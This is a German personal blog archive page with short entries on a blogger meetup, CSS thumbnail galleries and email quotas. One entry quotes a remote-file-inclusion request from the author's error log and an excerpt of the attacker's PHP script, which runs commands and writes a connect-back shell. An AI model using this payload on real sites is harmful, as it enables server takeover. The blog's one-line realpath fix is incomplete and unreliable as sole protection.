maettig.com

Thiemos Archiv

PHP für Deutsche.
(bereits 2 Kommentare)
Herbsttreffen der Dresdner Blogger, wahrscheinlich am 23.10. zum Frühstück bzw. Brunch, vorherige Anmeldung erwünscht. [via Martin] (Peinlich. Ich hatte den Feed nicht abboniert.)
Da muss jemand ganz viel Langeweile bzw. einen dämlichen Roboter haben. Folgender (in meinem Fall selbstverständlich wirkungsloser) Aufruf taucht gleich duzendweise im Fehlerprotokoll meiner Webpräsenz auf: index.php?page=http://www.irs-online.it/guns/spy.gif?&cmd=ls /. Unter dieser Adresse findet sich ein PHP-Skript mit diversen systemnahen Angriffsszenarien inklusive Installation von Shellskripten (stark gekürzt):
<?php
$dono = get_current_user();
$login = posix_getuid();
exec($cmd);
[...]
$fp = fopen("/tmp/dc-connectback.c", "w");
fwrite($fp, $shell);
[...]
Lächerlich, aber dennoch gefährlich. Oft ist zu lesen, dass man zur Verhinderung solcher Angriffe allow_url_fopen abschalten solle. Das ist Unsinn. Das hilft zwar, ist aber eigentlich nur ein schneller, schmutziger Workaround. Das Problem ist nicht der "URL fopen wrapper" sondern die unsachgemäße Verwendung von include(). Das Einlesen einer fernen Datei führt sie tatsächlich aus. (Bei meinen ersten Tests hatte ich der fernen Datei versehentlich die Endung .php gegeben, was sie schon dort zur Ausführung brachte.) Empfehlung: Einfach aus jedem include($page) ein include(realpath($page)) machen. Fertig.
(bereits 4 Kommentare)
Die sogenannten "Sub-Pixel Font Rendering"-Technologien ClearType, CoolType, Quartz usw., die eigentlich "Hacks" im besten Sinne des Wortes sind, sind in dem Moment, in dem sie sich langsam durchsetzen (also jetzt), bereits veraltet. Das behaupte ich und stütze es auf eigene Beobachtungen.
Weiter lesen …

Galerien mit CSS gestalten.

Oder: Bulletproof Thumbnail Galleries.

So etwas brauche ich relativ häufig: Eine Liste kleiner Vorschaugrafiken (techn.: Thumbnails), die oft auch noch anzuklicken sind und an die sich rechts jeweils ein beschreibender Text anschließt. Das sieht dann zum Beispiel so aus. Doch wie ist das zu konstruieren, so dass es einerseits möglichst wenig, möglichst eleganten Code erfordert, andererseits aber mit möglichst vielen Browsern funktioniert?
Weiter lesen …
(bereits 5 Kommentare)
Mein Provider hat den E-Mail-Speicherplatz auf 1 GB erhöht. Lustig. Wer ist der nächste?
(bereits 2 Kommentare)
Es ist wieder einmal an der Zeit, alte Materialien aufzuarbeiten:Update: Ich wollte mir gerade per wget eine Offline-Kopie von Grapevine.net #2 herunterladen, um dieses Online-Diskmags so ebenfalls auf CD brennen zu können. Aber "da sind keine Links" (für Insider: <tr onclick="window.location='...'">). Ok, Jungs, dann vergesst es. Das pule ich nicht auseinander.
(bereits 4 Kommentare)

[ « | ← Jüngere | Ältere Einträge → ]

Impressum & Datenschutz